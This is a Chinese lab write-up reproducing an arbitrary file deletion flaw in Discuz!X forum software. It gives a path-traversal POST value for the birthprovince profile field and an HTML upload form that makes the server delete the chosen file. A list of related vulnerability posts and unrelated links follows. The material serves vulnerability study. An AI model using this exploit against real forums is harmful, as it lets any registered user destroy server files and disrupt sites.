Discuz!X 3.4 前台任意文件删除漏洞复现

参考链接:

http://www.freebuf.com/vuls/149904.html

http://www.freebuf.com/articles/system/149810.html

http://mp.weixin.qq.com/s?srcid=0930uM1OtfeAsXwHRrfZBIyo&scene=23&mid=2650942631&sn=12a3c55807768f12fcd1b306fdf775d8&idx=1&__biz=MzAxNDY2MTQ2OQ%3D%3D&chksm=80796e95b70ee78345e289d3b1a9c262f6847b2032296ab90db54fc5b2b26771e505b17868c2&mpshare=1#rd

漏洞描述:

漏洞影响了Discuz  3.4 以下的所有版本。

该漏洞存在于upload/source/include/spacecp/spacecp_profile.php,文件中的submitcheck()函数。成功上传文件会跳转执行unlink这个函数。

space是用来存用户资料的变量,只所以选择birthprovince我觉得应该是这个字段没有对输入的内容做限制。

具体原理我也是根据别人讲的理解的。

实验环境:

win7 64位虚拟机 + phpstudy

Discuzx32gbk.zip    (在网盘里找对应文件名也行,下面链接下也行)

http://www.pc6.com/softview/SoftView_22804.html(目前使用3.2版本)

具体复现步骤:

首先在网站的根文件夹里新建一个test.txt,用于测试。

这个漏洞需要申请一个普通权限的用户

在用户资料设置处post数据修改出生地的值

http://192.168.198.128/DiscuzX3.2/home.php?mod=spacecp&ac=profile&op=base

POST提交 birthprovince=../../../test.txt&profilesubmit=1&formhash=8b257701

注意formhash的取值

由上图可以看出出生地已经修改为被删除文件的地址,下一步本地创建一个上传点页面,代码如下,注意要修改成自己的formhash值。

<form
action="http://192.168.198.128/DiscuzX3.2/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa" method="POST" enctype="multipart/form-data">
<input type="file" name="birthprovince" id="file" />
<input type="text" name="formhash" value="8b257701"/></p>
<input type="text" name="profilesubmit" value="1"/></p>
<input type="submit" value="Submit" />
</from>

访问如图,任意提交一个照片,服务器上test.txt文件被删除。

复现完成。

Discuz!X 3.4 前台任意文件删除漏洞复现的更多相关文章

  1. Discuz!X 3.4 任意文件删除漏洞复现过程(附python脚本)

    今天看下群里在讨论Discuz!X 3.4 任意文件删除漏洞,自己做了一些测试,记录一下过程.结尾附上自己编写的python脚本,自动化实现任意文件删除. 具体漏洞,请查看 https://paper ...

  2. Wordpress4.9.6 任意文件删除漏洞复现分析

    第一章 漏洞简介及危害分析 1.1漏洞介绍 WordPress可以说是当今最受欢迎的(我想说没有之一)基于PHP的开源CMS,其目前的全球用户高达数百万,并拥有超过4600万次的超高下载量.它是一个开 ...

  3. Discuz!X V3.4后台任意文件删除

    Discuz!X V3.4后台任意文件删除 简述 该漏洞为后台任意文件删除,需要有管理员的权限,所以说危害非常小 复现环境 docker.vulhub-master 项目地址:https://gite ...

  4. Discuz!X ≤3.4 任意文件删除漏洞

    Discuz!X ≤3.4 任意文件删除漏洞 简述 漏洞原因:之前存在的任意文件删除漏洞修复不完全导致可以绕过. 漏洞修复时间:2017年9月29日官方对gitee上的代码进行了修复 漏洞原理分析 在 ...

  5. 【代码审计】YzmCMS_PHP_v3.6 任意文件删除漏洞分析

      0x00 环境准备 YzmCMS官网:http://www.yzmcms.com/ 程序源码下载:http://pan.baidu.com/s/1pKA4u99 测试网站首页: 0x01 代码分析 ...

  6. 【代码审计】XIAOCMS_后台database.php页面存在任意文件删除漏洞

      0x00 环境准备 XIAOCMS官网: http://www.xiaocms.com/ 网站源码版本:XiaoCms (发布时间:2014-12-29) 程序源码下载:http://www.xi ...

  7. 【代码审计】XYHCMS V3.5任意文件删除漏洞分析

      0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...

  8. 【代码审计】TuziCMS_v3.0_任意文件删除漏洞分析

      0x00 环境准备 TuziCMS官网:http://www.tuzicms.com/ 网站源码版本:TuziCMS_v3.0_20161220 程序源码下载:http://www.tuzicms ...

  9. 【代码审计】XIAOCMS_存在任意文件删除漏洞分析

      0x00 环境准备 XIAOCMS官网: http://www.xiaocms.com/ 网站源码版本:XiaoCms (发布时间:2014-12-29) 程序源码下载:http://www.xi ...

随机推荐

  1. 自定义QMenu

    参考: http://blog.csdn.net/qq1623803207/article/details/77449884 http://blog.sina.com.cn/s/blog_a6fb6c ...

  2. 苹果电脑利用curl下载数据集

    在看tensorflow书上迁徙学习的这一部分的时候,书上说利用 curl http://download.tensorflow.org/example_images/flower_photos.tg ...

  3. Mac 软件专题:高效率工作和学习工具软件推荐

    今天和大家分享软件专题:「高效率工作和学习工具」,简而言之就是提高你工作和学习效率的软件,这对于要天天使用Mac工作或学习的人来说太有帮助了,这里主要分享大家平时经常用的一些,欢迎留言补充. 本文图片 ...

  4. python自动化开发-[第十六天]-bootstrap和django

    今日概要: 1.bootstrap使用 2.栅格系统 3.orm简介 4.路由系统 5.mvc和mtv模式 6.django框架 1.bootstrap的引用方式 1.Bootstrap 专门构建了免 ...

  5. 2017-12-15python全栈9期第二天第五节之格式化输出补充之想要在格式化输出中表示单纯的%号就加%

    #!/user/bin/python# -*- coding:utf-8 -*-name = input('姓名:')age = input('年龄:')height = input('身高:')ms ...

  6. 2017-12-14python全栈9期第一天第六节之用户交互

    9,用户交互.input 1,等待输入, 2,将你输入的内容赋值给了前面变量. 3,input出来的数据类型全部是str 10,基础数据类型初始.数字:int 12,3,45 + - * / ** % ...

  7. ASP.NET新建解决方案和网站

    新建解决方案和网站 1.打开visual studio,选择新建项目,然后选择解决方案. 2.解决方案建好之后,右键点击解决方案选择新建网站.注意,路径.我在solution1文件夹下面又建了一个si ...

  8. 3、JPA-API

    Persistence Persistence 类用于获取 EntityManagerFactory 实例,该类包含一个名为 createEntityManagerFactory 的静态方法 . cr ...

  9. springMVC的参数检验

    先说应用场景,比如说前台传来一个参数,我们肯定得在后台判断一下,比如id不能为空了,电话号码不能少于11位了等等.如果在service层一个一个判断岂不是要累死个人.代码也不简洁,这时候我们肯定会想到 ...

  10. RelativeLayout中include 控件覆盖重叠的问题

    RelativeLayout直接include另一个layout是会把include中的控件与当前layout中的控件覆盖重叠,经过查资料 其中的include标签一定要加上(因为include中不指 ...